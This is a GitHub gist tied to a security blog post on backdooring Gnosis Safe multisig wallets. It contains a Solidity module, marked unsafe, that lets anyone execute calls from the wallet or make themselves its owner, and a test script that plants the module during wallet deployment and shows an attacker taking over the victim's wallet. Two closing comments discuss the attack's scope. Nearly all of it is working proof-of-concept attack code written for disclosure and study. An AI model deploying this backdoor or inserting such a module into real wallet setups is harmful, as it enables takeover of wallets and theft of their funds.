Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Deploying backdoored Gnosis Safe Multisig wallets: blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets
pragma solidity ^0.5.0;
import "@gnosis.pm/safe-contracts/contracts/base/Module.sol";
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
/*
* @notice UNSAFE CODE - DO NOT USE IN PRODUCTION
*/
contract ControllerModule is Module {
function setup() public {
setManager();
}
// Allows anyone to execute a call from the controlled wallet
function executeCall(address to, uint256 value, bytes memory data) public {
// `manager` represents the wallet under control
require(
manager.execTransactionFromModule(to, value, data, Enum.Operation.Call)
);
}
// Allows anyone to become the wallet's owner
function becomeOwner(address currentOwner) external {
executeCall(
address(manager),
0,
abi.encodeWithSignature(
"swapOwner(address,address,address)",
address(0x1),
currentOwner,
msg.sender
)
);
}
}
const { expect } = require('chai');
const { constants } = require('@openzeppelin/test-helpers');
const { contract, accounts, web3 } = require('@openzeppelin/test-environment');
const ProxyFactory = contract.fromArtifact('@gnosis.pm/safe-contracts/ProxyFactory');
const GnosisSafe = contract.fromArtifact('@gnosis.pm/safe-contracts/GnosisSafe');
const CreateAndAddModules = contract.fromArtifact('@gnosis.pm/safe-contracts/CreateAndAddModules');
const ControllerModule = contract.fromArtifact('ControllerModule');
const utils = require('./utils');
const [
deployer,
victim,
attacker
] = accounts;
describe('Backdooring a Gnosis Safe wallet during deployment', async function () {
beforeEach(async function () {
// Deploy Gnosis Safe implementation
this.gnosisSafeImpl = await GnosisSafe.new({ from: deployer });
// Deploy ProxyFactory contract
this.proxyFactory = await ProxyFactory.new({ from: deployer });
// Deploy CreateAndAddModules contract
this.createAndAddModules = await CreateAndAddModules.new({ from: deployer });
});
it('Adds a malicious module that allows to execute any kind of actions', async function () {
// Deploy attacker-controlled module
const controllerModuleImpl = await ControllerModule.new({ from: attacker });
// Get attacker module creation data.
// Note that the module will be behind a proxy
const controllerModuleCreationData = this.proxyFactory.contract.methods.createProxy(
controllerModuleImpl.address,
controllerModuleImpl.contract.methods.setup().encodeABI()
).encodeABI();
const createAndAddModulesData = this.createAndAddModules.contract.methods.createAndAddModules(
this.proxyFactory.address,
utils.createAndAddModulesData([controllerModuleCreationData])
).encodeABI();
const gnosisSafeInitData = this.gnosisSafeImpl.contract.methods.setup(
[victim], // owners
1, // threshold
this.createAndAddModules.address, // Gnosis Safe wallet will `delegatecall` this address ...
createAndAddModulesData, // ... using this data
constants.ZERO_ADDRESS, // fallbackHandler (irrelevant)
constants.ZERO_ADDRESS, // paymentToken (irrelevant)
0, // payment (irrelevant)
constants.ZERO_ADDRESS // paymentReceiver (irrelevant)
).encodeABI();
const { logs } = await this.proxyFactory.createProxy(
this.gnosisSafeImpl.address,
gnosisSafeInitData,
{ from: attacker } // The deployer could be the victim as well.
);
const gnosisSafeProxy = await GnosisSafe.at(logs[1].args.proxy);
// Ensure proxy correctly points to Gnosis Safe legitimate implementation
expect(
await web3.eth.getStorageAt(gnosisSafeProxy.address, 0)
).to.eq(this.gnosisSafeImpl.address.toLowerCase());
// Ensure the victim got added as the sole owner of the wallet
expect(
await gnosisSafeProxy.getOwners({ from: attacker })
).to.deep.eq([victim]);
// Ensure the attacker's module (behind a Proxy) is registered as a valid module in the wallet
const controllerModuleProxy = await ControllerModule.at(logs[0].args.proxy);
expect(
await web3.eth.getStorageAt(controllerModuleProxy.address, 0)
).to.equal(controllerModuleImpl.address.toLowerCase());
expect(
await gnosisSafeProxy.getModules({ from: attacker })
).to.deep.eq([controllerModuleProxy.address]);
// Ensure the manager of the attacker-controlled module is the legitimate wallet
expect(
await controllerModuleProxy.manager()
).to.eq(gnosisSafeProxy.address);
// Attacker can become the owner of the wallet
// Just for demo purposes, calling `executeCall` passing ABI, but might as well call `becomeOwner`
await controllerModuleProxy.executeCall(
gnosisSafeProxy.address,
0, // msg.value
gnosisSafeProxy.contract.methods.swapOwner(
web3.utils.padLeft("0x1", 40), // Gnosis Safe sentinel
victim,
attacker
).encodeABI(),
{ from: attacker }
);
expect(
await gnosisSafeProxy.getOwners({ from: attacker })
).to.deep.eq([attacker]);
});
});
const { web3 } = require('@openzeppelin/test-environment');
// Taken (and adapted) from https://github.com/gnosis/safe-contracts/blob/v1.1.1/test/utils/general.js#L9
const ModuleDataWrapper = new web3.eth.Contract([{"constant":false,"inputs":[{"name":"data","type":"bytes"}],"name":"setup","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]);
function createAndAddModulesData(dataArray) {
// Remove method id (10) and position of data in payload (64)
return dataArray.reduce(
(acc, data) => acc + ModuleDataWrapper.methods.setup(data).encodeABI().substr(74),
"0x"
);
}
Object.assign(exports, {
createAndAddModulesData
})
@enderphan94

This comment has been minimized.

Copy link

enderphan94 commented Mar 17, 2020

it seems to be injected during the deployment aka internal attack but after deployed it's impossible to inject the backdoor, am I right?

@tinchoabbate

This comment has been minimized.

Copy link
Owner Author

tinchoabbate commented Mar 20, 2020

That's correct. You can read more about the attack vectors and how they work here: https://blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.